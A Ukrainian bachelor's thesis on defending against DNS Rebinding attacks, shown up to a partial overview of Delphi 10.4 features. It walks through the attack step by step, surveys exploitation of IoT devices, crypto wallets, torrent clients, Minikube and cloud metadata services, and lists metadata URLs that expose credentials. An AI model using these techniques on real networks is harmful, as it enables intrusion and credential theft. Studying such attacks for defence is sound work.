
МІНІСТЕРСТВО ОСВІТИ І НАУКИ УКРАЇНИ 

Центральноукраїнський національний технічний університет 

Кафедра кібербезпеки та програмного забезпечення 

На правах рукопису 

 

 

 

Гринчишина Анастасія Володимирівна 

Програмне забезпечення системи кібербезпеки для протидії атаці DNS 

Rebinding 

 

Спеціальність: 125 «Кібербезпека» 

Освітній ступінь: бакалавр 

 

 

Науковий керівник:  

Буравченко Костянтин Олегович _______________________________ 

                                                                                                                       (підпис)                              (дата)  

кандидат технічних наук 

 

ДОПУЩЕНО ДО ЗАХИСТУ 

Завідувач кафедри 

______________   О.А. Смірнов  

            (підпис)                                ПІБ  

«____»________________2021 р. 

 

 

 

 

 

 

Кропивницький – 2021 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



Міністерство освіти і науки України 
Центральноукраїнський національний технічний університет 

Факультет  Механіко-технологічний 
Кафедра  Кібербезпеки та програмного забезпечення 
Освітній ступінь бакалавр 
Спеціальність 125 Кібербезпека 
                                                                                               

ЗАТВЕРДЖУЮ 
Завідувач кафедри 
д.т.н., проф. 
_______________О.А.Смірнов 
« 11 » січня 2021  року 

 
З  А  В  Д  А  Н  Н  Я 

НА КВАЛІФІКАЦІЙНУ БАКАЛАВРСЬКУ РОБОТУ СТУДЕНТУ 
 

Гринчишиній Анастасії Володимирівні 
(прізвище, ім’я,  по батькові) 

1. Тема роботи Програмне забезпечення системи кібербезпеки для 
протидії атаці DNS Rebinding 

керівник роботи Буравченко Костянтин Олегович, канд. техн. наук  
                                                                             ( прізвище, ім’я, по батькові, науковий ступінь, вчене звання) 
затверджені наказом вищого навчального закладу № 185-02 від 28.12.2020 року 
2. Строк подання студентом роботи до захисту 22.05.2021 р. 
3. Мета та завдання кваліфікаційної бакалаврської роботи: Метою розробки є 
програмне забезпечення системи кібербезпеки для протидії атаці DNS Rebinding 
4. Зміст розрахунково-пояснювальної записки (перелік питань, які потрібно  
розробити)  

1. Призначення та область використання.  
2.Перегляд аналогічних існуючих систем.  
3. Опис і обґрунтування проектних рішень.  
4. Етапи програмування системи.    
5. Впровадження системи в промислову експлуатацію. 
6. Висновки 

5. Перелік графічного матеріалу (з точним зазначенням обов’язкових креслень)  
Структурна схема системи                                           1 аркуш  
Функціональна схема системи                                       1 аркуш 
Діаграма процесів                                                            1 аркуш 
Блок-схема алгоритму роботи додатку                       2 аркуша 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



2 
 

6. Дата видачі завдання  « 11 » січня 2021 р. 
 

 

КАЛЕНДАРНИЙ ПЛАН 
 

№ 
з/п 

Назва етапів кваліфікаційної бакалаврської 
роботи 

Строк  виконання 
етапів 

кваліфікаційної 
бакалаврської 
роботи 

Примітка 

1. Аналіз існуючих систем  10.03.2021 р.  

2. Постановка задачі, оформлення ТЗ 15.03.2021 р.  

3. Розробка моделі компонента  20.03.2021 р.  

4. Розробка структур даних 25.03.2021 р.  

5. Розробка алгоритмів зв’язку та відображення 30.03.2021 р.  

6. Програмування алгоритмів 10.04.2021 р.  

7. Оформлення ПЗ  17.04.2021 р.  

8. Попередній захист роботи 14.05.2021 р.  

    

    
    
    

 
 

Студент ___________  ________________________ 
( підпис )                             (прізвище та ініціали) 

Керівник роботи ___________  ________________________ 
( підпис )                             (прізвище та ініціали) 

 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



АНОТАЦІЯ 

 

Гринчишина А.В. Програмне забезпечення системи кібербезпеки для 

протидії атаці DNS Rebinding. 125 Кібербезпека. Центральноукраїнський 

національний технічний університет. Кропивницький. 2021. 

В даній кваліфікаційній бакалаврській розроблено програмне 

забезпечення, яке призначено для системи кібербезпеки для протидії атаці DNS 

Rebinding.  

Метою розробки є програмне забезпечення системи кібербезпеки для 

протидії атаці DNS Rebinding. 

Результат роботи – програмна реалізація системи кібербезпеки для 

протидії атаці DNS Rebinding. 

В процесі роботи над програмною моделлю виконано аналіз існуючих 

апаратних та програмних засобів. В повній мірі описані всі компоненти 

розробленого програмного забезпечення. 

Розроблено зручний інтерфейс користувача. Наведені інструкції по роботі 

з програмними засобами. 

Програма може використовуватися на ПЕОМ архітектури IBM PC з ОС 

Windows ХР/Vista/7/8/10. 

Програму розроблено в середовищі Delphi 10.4.1. 

Ключові слова: кібербезпека, DNS Rebinding 
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ABSTRACT 

 

Hrynchyshyna A.V. Cybersecurity system software to counter DNS 

Rebinding attacks. 125 Cybersecurity. Central Ukrainian National Technical 

University. Kropyvnytskyi. 2021 

This undergraduate qualification has developed software that is designed for a 

cybersecurity system to counter DNS Rebinding attacks. 

The purpose of the development is cybersecurity system software to counter 

DNS Rebinding attacks. 

The result is a software implementation of a cybersecurity system to counter 

DNS Rebinding attacks. 

In the process of working on the software model, an analysis of existing 

hardware and software was performed. All components of the developed software are 

fully described. 

Developed user-friendly interface. Instructions for working with software are 

given. 

The program can be used on an IBM PC with Windows XP / Vista / 7/8/10. 

The program is developed in the Delphi 10.4.1 environment. 

Keywords: cybersecurity, DNS Rebinding 
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ПЕРЕЛІК УМОВНИХ ПОЗНАЧЕНЬ, СИМВОЛІВ, ОДИНИЦЬ І ТЕРМІНІВ 

 

 

API – Прикладний програмний інтерфейс, Application 

Programming Interface 

CSRF – Підробка міжсайтових запитів 

DoS – Denial of Service, Атака на відмову в обслуговуванні 

DNS – Domain Name System, Служба Доменних Імен 

DNS Rebinding – атака переприв'язування DNS 

IoT – Internet of Things, Інтернет речей 

JSON-RPC – протокол віддаленого виклику процедур в JSON 

форматі 

SQL injection – Уразливості SQL-ін'єкцій 

TTL – Time to live, час життя – параметр, що визначає 

актуальність даних при кешуванні DNS-запитів 

XSS – Cross-Site Scripting – Міжсайтовий скриптинг 
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ВСТУП 

 

 

Актуальність теми. Багато фахівців по безпеці сьогодні цікавляться 

концепцією здійснення атаки переприв'язування DNS (DNS Rebinding). Але 

більшість із існуючих оглядів, присвячених цієй темі, занадто глибоко поринають 

у різні деталі, розчиняючи суть проблеми у величезній кількості важливої, але 

все-таки другорядної інформації. Пропонуємо у даній роботі просте для 

розуміння пояснення концепції здійснення атаки переприв'язування DNS і 

перерахування основних методів захисту від неї, які будуть цікаві тем з вас, хто 

просто прагне одержати загальну поняття про суть проблеми. 

Кіберзлочинці, проводячи атаки переприв'язування DNS, одержують 

можливість відправляти команди в різні системи, у тому числі й потенційно 

вразливим пристроям з локальних мереж, які розташовані за брандмауером 

жертви. Це відбувається тоді, коли умовна жертва, притягнута будь-яким 

відомим способом (соціальна інженерія, фішинг, міжсайтовий скриптинг і т.д.), 

попадає на контрольований зловмисниками домен, через який ці кіберзлочинці 

можуть відправляти запити на залучення різних ресурсів. Так, наприклад, жертви 

можуть бути спрямовані на веб-сайт, що містить шкідливий код Javascript, який 

потім буде запущений у їхніх браузерах на їхніх комп'ютерах, тобто вже за 

брандмауером, з усіма наслідками, що випливають. 

Мета й завдання дослідження. Метою роботи є програмне забезпечення 

системи кібербезпеки для протидії атаці DNS Rebinding.  

Для досягнення поставленої цілі визначена програма дослідження, що 

складається з наступних завдань:  

– Огляд існуючих систем кібербезпеки для протидії атаці DNS Rebinding. 

– Дослідження системи кібербезпеки для протидії атаці DNS Rebinding. 

– Програмна реалізація системи кібербезпеки для протидії атаці DNS 

Rebinding. 
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Практична цінність отриманих результатів полягає в тому, що 

розроблені алгоритми дозволяють успішно вирішувати задачі для протидії атаці 

DNS Rebinding.  

Таким чином, виходячи з вищеперерахованого, програмне забезпечення 

системи кібербезпеки для протидії атаці DNS Rebinding, є актуальною задачею, 

яка потребує вирішення у даній кваліфікаційній бакалаврській роботі. 
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1 ПРИЗНАЧЕННЯ ТА ОБЛАСТЬ ВИКОРИСТАННЯ 

 

 

1.1 Призначення системи 

 

Схема атаки DNS Rebinding 

От як це працює: 

1. Ви реєструєте домен і встановлюєте контроль над DNS-сервером, що 

обслуговують цей домен. 

2. Якщо вам удалося заманити когось перейти на ваш шкідливий домен, 

то відразу ваш DNS-сервер поверне ІР-адресу веб-сервера для host.domain 

(допустимо, 1.3.4) шкідливий код, що передає, вашій жертві. Це, приміром, може 

бути досягнуте завдяки перенапрямку жертви на сайт, що містить код Javascript. 

3. Якщо ви налаштуєте ваш DNS-сервер таким чином, щоб його відповіді 

містили дуже короткий TTL (Time to live, час життя – параметр, що визначає 

актуальність даних при кешуванні DNS-запитів) – наприклад, 10 секунд, – то ви 

змусите систему жертви постійно звертатися до вашого домену для перевірки 

актуальності ІР-адреси для host.domain, уникши в такий спосіб кешування 

відповіді. 

4. Якщо ви знаєте (або припускаєте), що ваша жертва має певний тип 

устаткування у своїй внутрішній мережі – наприклад, конкретний маршрутизатор 

або IoT-пристрій, – яке ви б змогли контролювати, якби перебували в одній з ним 

мережі, ви можете використовувати частину свого шкідливого коду Javascript, яке 

вже запущений у браузері жертв (тому що вони відвідали ваш сайт), щоб 

відправляти запити до цієї вразливої системи, наприклад, «https: //host.domain/set-

DNS-server? Server = 6.7.8.9». 

5. Коли цей запит буде відправлений у перший раз, він буде адресовано 

на ІР-адресу 1.2.3.4, тому що саме вона була споконвічною ІР-адресою, яку ви 

відправили жертві для host.domain. 
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6. Але коли браузер жертви звернеться до вашого домену з новим DNS-

запитом (через 10 секунд, тому що саме таке значення параметра TTL ви 

встановили), вашою відповіддю буде нібито новий актуальний ІР-адресу для 

вашого домену – наприклад, «192.168.1.1», – що змусить браузер жертви 

відправляти запити «https://host.domain/set-DNS-server?server=7.8.9» уже на ІР-

адресу 192.168.1.1! 

7. Якщо гіпотетичний маршрутизатор, на який ви націлилися, реально 

існує й уразливий до запиту, який ви змусили відправити систему вашої жертви 

(приміром, на даному маршрутизаторі використовуються облікові дані за 

замовчуванням або взагалі відсутні), це змусить обновити значення DNS-сервера, 

до якого підключається цей маршрутизатор, на ті, які контролює зловмисник, 

яким, найімовірніше, ви ж і будете. 

8. Повторюйте в міру необхідності ці запити, щоб визначити правильну 

ІР-адресу й / або відправляйте різні команди різним пристроям усередині мережі 

жертви. 

У принципі, концепція здійснення атаки DNS Rebinding проста: ваші 

жертви звертаються до контрольованого вами сайту з яким-небудь запитом, ви 

визначаєте коротке значення параметра TTL для відповідності доменного імені 

конкретному ІР-адресі, змушуєте браузери жертв виконувати код Javascript, який 

у такий спосіб стає посередником для відправлення шкідливих запитів, а потім 

через черговий DNS-запит змінюєте на своїй стороні ІР-адресу домену, що 

змушує жертву відправляти запити до зазначених вами ІР-адресам уже усередині 

локальної мережі, тобто вже за захищаючим їхнім брандмауером. 

Що робить атаку DNS Rebinding настільки ефективної й небезпечної, так 

це те, що вона використовує дві основні функції у фундаментальній структурі 

Інтернету, які точно не будуть змінені в недалекому майбутньому: 

1. Той факт, що користувацькі браузери запускають код Javascript за 

замовчуванням (включаючи такі потенційно небезпечні активності, як, скажемо, 

запуск скрипту hook.js фреймворку Beef) і… 
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2. Можливість установлювати низькі значення параметра TTL для 

відповідей на DNS-запити, що дозволяє постійно змінювати прив'язку доменного 

імені до конкретної ІР-адреси. 

 

1.2 Область застосування 

 

Захист від атаки DNS Rebinding: основні принципи 

Оскільки атаки переприв'язування DNS опираються на ключові 

компоненти функціонування Всесвітньої мережі, захист від них не є тривіальною 

справою. Додатковим головним болем для фахівців з інформаційної безпеки є й 

той загальновідомий факт, що більшість виробників численних гаджетів не 

поспішають випускати відновлення своїх прошивань, навіть коли в їхніх 

пристроях виявлені й уже детально описані конкретні уразливості. А перехід в 

еру IoT ще більше збільшує проблему. 

Звичайно, захист від атак DNS Rebinding опирається на наступні основні 

принципи: 

1. Обмеження для запуску коду Javascript (щоб атакуючий не мав 

можливість змусити браузер жертви відправляти запити). 

2. Прив'язка ІР-адрес до доменним іменам (щоб зловмисника позбавити 

можливості їх міняти). 

3. Не ухвалювати значення параметрів TTL для відповідей на DNS-

запити менше певного значення (що значно обмежує зловмисника в можливості 

змінювати значення ІР-адреси для доменного імені). 

4. Не ухвалювати відповіді на DNS-запити (для зовнішніх доменів) з ІР-

адресами, що вказують на внутрішню мережу (щоб обмежити можливості 

кіберзлочинців відправляти команди у внутрішню мережу). 

Зрозуміло, що кожного з вище позначених методів не стане універсальною 

таблеткою для вас, тому що будь-яке обмеження на користь безпеки неминуче 

негативно позначиться на функціонуванні сервісів для ваших користувачів. Тому 
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фахівці з інформаційної безпеки радять основна увага зосередити на 

комплексному підході до захисту вашої мережі: від збору на регулярній основі 

інформації про використовувані у вашій мережі пристрої, їх відомих 

уразливостей і наявності встановлених свіжих відновлень до проведення 

тестувань на проникнення. Також значно ускладнить завдання проникнення у 

вашу мережу для кіберзлочинців зміна в обов'язковому порядку (по можливості, 

звичайно) облікових даних і портів, використовуваних за замовчуванням на будь-

яких пристроях у вашій мережі. І, звичайно ж, необхідно цілодобово здійснювати 

моніторинг подій інформаційної безпеки для своєчасного виявлення потенційно 

небезпечної активності. 

Таким чином, виходячи з вищеперерахованого, програмне забезпечення 

системи кібербезпеки для протидії атаці DNS Rebinding, є актуальною задачею, 

яка потребує вирішення у даній кваліфікаційній бакалаврській роботі. 
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2 ПЕРЕГЛЯД АНАЛОГІЧНИХ ІСНУЮЧИХ СИСТЕМ 

 

 

2.1 Огляд існуючих систем, технологій, архітектур, програмних рішень 

за профілем теми кваліфікаційної бакалаврської роботи 

 

Ми вибрали 4 найбільш актуальні сфери в 20 20, де відбулися інциденти, 

пов'язані з атакою DNS rebinding, це: 

– IoT. 

– Crypto wallets. 

– Desktop applications. 

– Clouds. 

Давайте розглянемо кожний топік один по одному й з'ясуємо, чи дійсно 

всі так необразливо? 

IoT 

Google home 

Google home – це розумний помічник від компанії Google. Цей девайс має 

(або мав у минулому) API, що не вимагає який-небудь автентифікації для 

керування пристроєм. Він надає ряд можливостей, таких як: 

– Програвання контенту. 

– Сканування. 

– Перезавантаження. 

– Підключення до WI-FI мережам і т.д. 

Зразковий сценарій атаки: зловмисник може деанонімізувати користувача, 

одержуючи координати найближчих WI-FI точок. Очевидно, що отут ніякий VPN 

не врятує. 

Sonos WIFI speakers 

Дані колонки від компанії Sonos піднімають у локальній мережі UPnP веб-

сервер, який дає доступ до ряду цікавих сторінок: 
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– 192.168.1.76:1400/support/review – виводить вивід деяких Unix-команд. 

– 192.168.1.76:1400/tools – дозволяє запускати деякі Unix-команди. 

У цьому випадку зловмисник має можливість виконувати команду 

traceroute для сканування топології внутрішньої мережі. 

Radio Thermostat CT50 

Це один з наших самих улюблених кейсів. Дана модель термостата також 

має API без якої-небудь авторизації й дозволяє змінювати: 

– Клімат-режим. 

– Температуру. 

– Режим підсвічування та інші налаштування. 

Як результат, то подібна атака на термостат, наприклад, медичної 

установи може привести до досить малоприємних наслідків. 

Roku TV 

У телевізорів від компанії Roku усі той же недуга – API без автентифікації. 

API дозволяє: 

– Запускати різні додатки. 

– Програвати контент. 

– Робити пошукові запити по системі і т.д. 

У цьому випадку максимум, що загрожує користувачеві, це витік чутливих 

даних, що теж неприємно. 

Будь-який WI-FI роутер 

Цей IoT-девайс сьогодні є будинку майже в кожного. Ні для кого не 

секрет, що багато рядових користувачів не міняють стандартні паролі від адмін-

панелей своїх роутерів. За доп омогою DNS rebinding нам нічого не заважає 

зробити спробу логіна зі стандартними обліковими даними й одержати доступ до 

адмінці. У випадку, якщо локальний ІР не вдається підібрати, на допомогу 

приходить WebRTC. 
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Підсумок по IoT 

Виділимо деякі можливості, які надає DNS rebinding при роботі з IoT: 

– Можливість деанонімізувати користувача. 

– Можливість сканувати локальну мережу. 

– Знущатися з користувача. 

– Що завгодно, залежно від функціонала IoT-пристрою. 

Crypto wallets 

Geth 

Тепер поговоримо про криптогаманцях. Перший кейс із розглянутих – це 

клієнт для ethereum-гаманців, за назвою Geth. Тут ящик пандори криється в 

роботі JSON-RPC сервісу. Для початку давайте розберемося що це таке. JSON-

RPC – це протокол віддаленого виклику процедур в JSON форматі. 

Більшість клієнтів запускають цей сервіс на localhost:8545, а він, у свою 

чергу, надає набір цікавих функцій, таких як eth_sendtransaction і так далі. 

Тепер приклад, яким образом можна без ведена користувача й з 

використанням атаки DNS rebinding одержати його баланс і адресу гаманця. 

EOSIO keosd wallet 

Далі на черзі в нас клієнт для EOSIO-гаманців. Сам keosd запускається на 

localhost:8900 і автоматично підписує будь-які дії застосунку на 15 хвилин після 

введення авторизаційних даних. Поглибившись в API, можна знову виявити 

цікавий функціонал. Для наочності, використовуючи продемонстрований нижче 

запит, можна одержати публічний ключ користувача: 

Підсумок по Crypto wallets: 

– зловмисник може красти гроші користувача. 

– зловмисник може змінювати різні користувацькі налаштування. 

– можливість деанонімізації користувача. 
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Desktop applications 

Transmission client 

Блок інцидентів, пов'язаних з Desktop-застосунками, хочеться почати з 

відносно нашумілої уразливості в торрент-клієнтові Transmission. 

Тут проблема криється в усі тому ж JSON-RPC, який ми розглянули ледве 

вище. У цьому випадку він дозволяє змінювати користувацькі налаштування, 

наприклад, змінювати папку для завантаження файлів: 

З одного боку, начебто б нічого серйозного, однак якщо вказати замість 

папки контрольовану зловмисником smb share (у випадку, якщо клієнт 

використовує Windows клієнт), те можна перехопити хеш користувача, який 

може бути використаний надалі. 

utorrent web client 

Цей застсоунок має в себе в арсеналі всі той же JSON-RPC сервіс, що 

дозволяє змінювати конфігураційні файли користувача, а також завантажувати 

файли. 

У цьому випадку потрібно автентифікація, однак облікові дані доступні з 

http://localhost:19575/users.conf. Як же можна це використовувати? 

Для початку робимо наступний запит. 

Після одержання токена міняємо папку завантаження на папку, де 

розташовуються програми, що запускаються при старті системи. 

І, нарешті, даємо команду на завантаження необхідного корисного 

навантаження. 

У підсумку, evil.exe буде запущений після наступного перезавантаження. 

Minikube 

Minikube – утиліта командного рядка для налаштування й запуску 

однонодового кластера Kubernetes у віртуальній машині на локальному 

комп'ютері. Ка
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Він завжди висить на 192.168.99.100, а web-інтерфейс доступний на 3000 

порту. У підсумку в зловмисника є можливіс ть створити злобливий контейнер із 

загальною папкою з основною системою. 

Перший справою необхідно одержати CSRF токен. 

Далі потрібно створити контейнер, а для цього надіслати наступний запит. 

Давайте розберемо, що він робить. У ньому ми вказуємо, що при запуску 

контейнера нам потрібно прокинути reverse-shell, а також примонтувати папку 

Users з основної системи: 

Ruby on Rails 

Для фреймворку Ruby on Rails існує гем, що дозволяє виконувати Ruby-

код прямо в браузері. 

 

 

 

Рисунок 2.1 – Ruby on Rails 

 

Давайте спробуємо розібратися, що нам для цього знадобиться? 

Для початку нам потрібно звернутися на неіснуючу сторінку. 

Далі ми робимо спробу звертання до консолі через браузер. 
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Ну й, нарешті, формуємо запит за запуск застосунку калькулятор (у 

даному прикладі вектор для MAC OS X). 

Blizzard Desktop application 

Не тільки розроблювачі й звичайні користувачі піддаються атаці типу 

DNS rebinding, але й геймери теж. Тут ми знову ж зустрічаємося із проблемою 

JSON-RPC сервісу, що стирчать у цьому випадку на localhost на 1120 порту. 

Сервіс дає можливість робити апдейти, змінювати налаштування й інші різні 

обслуговуючі опції. 

У цьому випадку підтримується автентифікація, але пройти її, роблячи 

запити від localhost, не становить праці. 

Підсумок по Desktop Application: 

– зловмисник може одержати RCE на основній системі (також не 

забуваємо про VM Escape); 

– зловмисник може одержати доступ до конфіденційних даних і т.д. 

Clouds 

Ну, і наостанку, залишилося саме цікаве – хмари. Суть у тому, що хмарні 

сервіси часто використовуються для розміщення ПЗ, яке проводить аналітикові 

прихожих на сайт користувачів. Наприклад, переходячи headless браузером по 

посиланню із заголовка Referer, щоб зкраулити ресурс, з якого клієнт перейшов 

на сайт. Цей вектор атаки так само можна використовувати, адже по суті headless 

браузер – це повноцінний веб-браузер без графічного інтерфейсу, але з 

підтримкою DOM, JS і всього іншого. 

Що ми можемо зробити в цьому випадку? Адже для атаки нам необхідно 

затримати користувача (у цьому випадку бота) на сторінці. Що ж, для цьо го ми 

можемо використовувати на сторінці зображення, що має Content-Length на 

одиницю більше, ніж воно є насправді. Як результат, бот буде думати, що 

картинка ще не завантажилась і затримається на нашій сторінці, а далі, ми 

застосовуємо нашу стандартну техніку DNS rebinding. 
Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



№ докум. Підпис Дата 

Арк. 

Арк. Вим. 
КБР-125.21.0013.00.00.ПЗ  

 

 

 
  15 

 

У підсумку, тому що запити ми будемо слати від довіреного особи, ми 

можемо творити безліч веселих речей. Наприклад: 

– сканувати внутрішню мережу; 

– авторизовуватися у внутрішніх сервісах (теоретично); 

– красти дані авторизації інших сервісів і т.д. 

Повернемося безпосередньо до Amazon. AWS EC2 має такий функціонал, 

як Instance Metadata Service. Вона дозволяє будь-який EC2 сутності 

використовувати REST API, що перебуває за адресою 169.254.169.254, що 

розкриває інформацію про інстанс. 

Наприклад, от невеликий список подібних сервісів у різних хмар: 

– AWS http://169.254.169.254/latest/user-data 

– Google Cloud http://169.254.169.254/computemetadata/v1/ 

– Digital Ocean http://169.254.169.254/metadata/v1.json 

– Openstack/Rackspace http://169.254.169.254/openstack 

– Azure http://169.254.169.254/metadata/instance 

– Oracle Cloud http://169.254.169.254/opc/v1/instance/ 

Тепер давайте розглянемо кейс, у якому ми попрацюємо з AWS. 

Для початку нехай бот зробить запит до API. 

У відповіді ми можемо одержати конфіденційну інформацію, наприклад, 

креди в скрипті, який запускається при старті машини: 

Далі ми можемо витягтися ім'я ноди, з якої будемо далі працювати: 

Далі ми зробимо наступний обіг по вже відомому імені й – ми одержали 

різну інформацію про користувача, таку як Accesskeyid, Secretaccesskey, Token і 

т.д. 

Одержавши ці дані, ми можемо використовувати їх для авторизації через 

консольний клієнт: 

Загальний підсумок 

Давайте виділимо загальні слабкі точки, які ми помітили при експлуатації 

атаки типу DNS rebinding: 
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– API без автентифікації. 

– Локальні сервіси без автентифікації. 

– Ігнорування Host параметра до запиті. 

– Використання http замість https. 

Таким чином, незважаючи на різні доводи з боку експертів в області 

практичної інформаційної безпеки, атака даного типу народжується заново в 

епоху IoT, хмарних сервісів, криптовалют і так далі, навіть незважаючи на 

необхідність затримки клієнта на стороні зловмисника, адже у світі онлайн-

кінотеатрів, відеохостингів і інших сервісів, що надають контент користувачеві, 

зробити це не становить особливої праці. Тому будьте пильні при подорожі в 

онлайн-світі, при покупці чергового розумного помічника, ну й при розробці, 

природно. 

 

2.2 Обґрунтування вибору засобів для побудови системи та мови 

програмування 

 

Embarcadero Delphi, раніше Borland Delphi і Codegear Delphi, – інтегроване 

середовище розробки ПЗ для Microsoft Windows, Mac OS, iOS і Android мовою 

Delphi (що раніше носила назву Object Pascal), створена спочатку фірмою Borland 

і на даний момент приналежна й розроблювальна Embarcadero Technologies. 

Embarcadero Delphi є частиною пакета Embarcadero RAD Studio і поставляється в 

чотирьох редакціях: Community (поширюється безкоштовно й має обмежену 

ліцензію на використання в комерційних цілях), Professional, Enterprise і Architect. 

Delphi 10.4 Sydney 

Випущено 26 травня 2020 року. RAD Studio Delphi 10.4 забезпечує значно 

поліпшену високопродуктивну нативну підтримку Windows, кращу 

продуктивність розробки, миттєві підказки code completion, прискорення 

виконання коду із синтаксисом керованих записів, поліпшення виконання 

паралельних завдань на сучасних багатоядерних CPU, а також містить більш 1000 
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виправлень багів, поліпшення продуктивності середовища й бібліотек і багато 

чого крім того. 

Основні можливості Delphi 10.4.1: 

− Істотні розширення для Windows: поліпшення для застосунків на 

моніторах 4K High DPI, інтеграція з новим WebView2 на базі Chromium, 

використання розширених title bars, таких же, як в Office, Explorer, Google 

Chrome. 

− Керування пам'яттю в Delphi тепер стандартизоване на всіх 

підтримуваних платформах – мобільних, настільних і серверних – використовучи 

класичну реалізацію керування пам'яттю об'єктів. 

− Істотне поліпшення Delphi Code Insight (без можливого блокування 

IDE – в окремому процесі), що допоможе при роботі з великими проектами. 

− Тип даних Delphi «record» тепер підтримуть довільні ініціалізацію, 

фіналізацію й операції копіювання. 

− Розширена підтримка бібліотек C++: ZeroMQ, SDL2, SOCI, libSIMDpp і 

Nematode. 

− Відладник Win 64 (на LLDB) і збирач для C++. 

− Поліпшення для С++: Включена велика кількість поліпшень STL з 

Dinkumware. 

− Підтримка Metal Driver GPU для macOS і iOS. 

− Вбудований Fmxlinux. 

− Компонент Twebbrowser для iOS тепер реалізований на Wkwebview API. 

Реалізація компонента Media Player для macOS тепер використовує Avfoundation. 

Реалізований заново стилізуємий FMX компонент TMemo на платформі Windows 

значно поліпшений і тепер має відмінну підтримку IME. 

− Численні поліпшення швидкості й стабільності роботи нашої бібліотеки 

The Parallel Programming Library (PPL). 

− Додані оновлені драйвери для FireBird, PostgreSQL і SQLite. 
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− Клієнтські бібліотеки HTTP і REST Client розширені застосунковими 

можливостями роботи з HTTPS. Також були розширені можливості підтримки 

Amazon AWS services 

− У технологію Visual LiveBindings внесена безліч поліпшень, у тому 

числі швидкодії, що стосуться, застосунків на VCL і FireMonkey 

RAD Studio 10.4 Короткий огляд: 

– Істотні розширення для Windows. Створення застосунків, що чудово 

виглядають, із чіткими елементами інтерфейсу на 4k моніторах High DPI за 

допомогою нової гнучкої підтримки стилів елементів керування на екрані. 

Інтеграція із сучасними, безпечними web-технологіями від Microsoft – новим 

WebView2 на базі Chromium. Використання сучасних розширених title bars, таких 

же, як в Office, Explorer, Google Chrome, у своїх проектах. Істотні поліпшення 

надійності налагодження в новому відладнику для C++ Windows 64-bit. 

– Зросла продуктивність розробки. Ріст продуктивності за рахунок 

миттєвої реакції підказок code completion у середовищі IDE. Краща сумісність із 

уже наявною кодовою базою, і спрощення програмування за рахунок 

уніфікованої архітектури керування пам'яттю. Швидке зв'язування даних і 

візуальних елементів за допомогою розширеної технології Visual LiveBindings з 

підвищеною швидкодією. Просте використання розповсюджених бібліотек C++, 

наприклад, ZeroMQ, SDL2, SOCI, libSIMDpp і Nematode. Оновлена підтримка 

Amazon AWS cloud. 

– Поліпшення швидкодії і якості. Більш 1000 поліпшень швидкодії і 

якості. Краща ефективність коду за допомогою нового синтаксису custom 

managed records. Більш швидке виконання паралельних завдань на сучасних 

багатоядерних CPU. Переконаєтеся в прискоренні відображення на екрані з 

підтримкою Metal API на macOS і iOS. Краща сумісність із уже наявною кодовою 

базою й спрощення програмування за рахунок уніфікованої архітектури 

керування пам'яттю. 
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Істотне поліпшення Delphi Code Insight 

Як найбільше й головне поліпшення інструментів програмування Delphi за 

багато років, в 10.4 Delphi Code Insight реалізований через Language Server 

Protocol (LSP). LSP – це технологія генерації результатів для code completion, 

навігації й інших сервісів в окремому процесі. Це значить, що code completion і 

Code Insight одержать більш точні результати без блокування IDE. 10.4 

забезпечує набагато більш високу продуктивність розроблювачів, які працюють 

із більшими проектами, що містять мільйони рядків коду. 

Delphi Custom Managed Records 

Ключове розширення мови Delphi: тип даних Delphi «record» тепер 

підтримуть довільні ініціалізацію, фіналізацію й операції копіювання. 

Управляйте тем, як ці структури створюються, копіюються й звільняються з 

допомогу вашого коду, який буде виконуватися у відповідний момент. 

Це розширює потужність конструкцій records в Delphi, які 

використовуться щоб одержати більшу ефективність у порівнянні із класами. 

Єдине керування пам'яттю 

Керування пам'яттю в Delphi тепер стандартизоване на всіх підтримуваних 

платформах – мобільних, настільних і серверних – використовучи класичну 

реалізацію керування пам'яттю об'єктів. 

У порівнянні з Automatic Reference Counting (ARC), це дає кращу 

сумісність із існучим кодом і спрощує написання компонентів, бібліотек і 

застосунків. 

ARC модель керування пам'яттю model залишилася для керування 

рядками й посиланнями на тип інтерфейсу на всіх платформах. Для C++ це 

означає, що при створенні й звільненні Delphi-style класів в C++ 

використовується звичайне керування пам'яттю, як у будь-якого heap-allocated 

класу C++, що значно знижує складність коду. 
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Розширена підтримка бібліотек C++ 

В 10.4 ми портували багато популярних бібліотек C++ у С++Builder. 

Забезпечивши оптимізовану підтримку бібліотек ZeroMQ, SDL2, SOCI, 

libSIMDpp і Nematode, поряд із уже підтримуваними Boost і Eigen, які можуть 

бути додані за допомогою менеджера пакетів Getit. 

Win 64-відладник і збирач для C++ 

В 10.4 з'явився новий відладник C++ для Windows 64-bit. Відладник 

заснований на LLDB і показує значне збільшення стабільності при налагодженні 

64-bit застосунків поряд з новими відладочними можливостями, такими як 

перегляд і інспекція типів начебто рядків C++ і Delphi, а також колекцій STL, 

включаючи std::vector, std::map і інших. Крім того, згенерована для застосунку 

відладочна інформація має інший внутрішній формат, сприяючи більш 

стабільному й багатому на можливості процесу налагодження, більш докладним 

перегляду й інспекції в debug-time. 

Підвищення якості й швидкодії інструментів 

– Велика кількість поліпшень STL від Dinkumware. 

– Поліпшені деякі найважливіші методи й області RTL, на базі поліпшень 

сумісності з популярними бібліотеками C++. 

– Поліпшена підтримка Cmake. 

– Велика кількість виправлень для підвищення стабільності і якості. 

– Відновлення Windows API – Обновлено й додали безліч декларацій API 

щоб добитися ще більшої інтеграції із платформою Windows. 

– Загальні вдосконалення в бібліотеці доступу до БД FireDAC, 

включаючи оновлені драйвера для FireBird, PostgreSQL і SQLite. Вибір 

статичного або динамічного підключення SQLite до застосунку. 

Змінені стилі VCL для High DPI 

В 10.4, архітектура стилізації VCL була суттєво розширена для підтримки 

High DPI і 4K моніторів. Тепер усі елементи UI на фор мі VCL автоматично 
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масштабуться під відповідне до монітора дозвіл для показу форми. Був 

оновлений API стилізації для підтримки стилів high DPI. 

Кожний графічний елемент UI може бути обраний з наборів різних 

масштабів і масштабований до потрібного DPI, що дає чітке зображення 

елементів UI на всіх моніторах. 

Нові High DPI стилі й стилізація окремих VCL компонент 

Обновлено велике число вбудованих і преміальних VCL стилів для 

підтримки нового режиму стилізації High-dpi. Це дозволяє вам створювати 

застосунку з відмінним дизайном для всіх моніторів. 

Розроблювачі VCL застосунків тепер можуть використовувати трохи VCL 

стилів на різних формах в одному застосунку або в різних компонентів на одній 

формі. Це також включає стилізацію компонентів загальною темою для 

платформи. Крім застосункової гнучкості використання стилів, це дозволяє 

